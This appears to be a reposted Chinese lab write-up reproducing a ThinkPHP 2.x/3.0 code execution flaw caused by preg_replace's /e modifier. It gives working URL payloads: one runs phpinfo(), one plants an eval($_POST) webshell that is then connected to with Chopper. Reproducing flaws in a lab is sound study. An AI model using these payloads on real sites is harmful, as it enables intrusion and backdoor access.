thinkphp2.x任意代码执行漏洞复现
Posted imanoob
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了thinkphp2.x任意代码执行漏洞复现相关的知识,希望对你有一定的参考价值。
Thinkphp2.x 任意代码执行漏洞
影响版本:tp2.x tp3.0
漏洞影响:代码执行,写入一句话getshell
漏洞成因:在 ThinkPHP ThinkPHP 2.x 版本中,使用 preg_replace 的 /e 模式匹配路由:
$res = preg_replace(\'@(\\w+)\'.$depr.\'([^\'.$depr.\'\\/]+)@e\', \'$var[\\\'\\\\1\\\']="\\\\2";\', implode($depr,$paths))
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
直接在Vulfocus集成靶场中进行复现。
打开靶场
利用POC验证,执行phpinfo()
/index.php?s=/index/index/xxx/${@phpinfo()}
然后试着写入一句话木马
/index.php?s=/index/index/xxx/${${@eval($_POST[123])}}
可以看到页面报错同时把thinkphp的版本也爆出,接着用菜刀连接
拿到shell
Thinkphp2.x 任意代码执行漏洞
以上是关于thinkphp2.x任意代码执行漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
Git漏洞允许任意代码执行(CVE-2018-17456)复现
安全-Wordpress 小于等于4.6.1版本任意代码执行漏洞复现(i春秋)
Tomcat远程代码执行漏洞CVE-2017-12615复现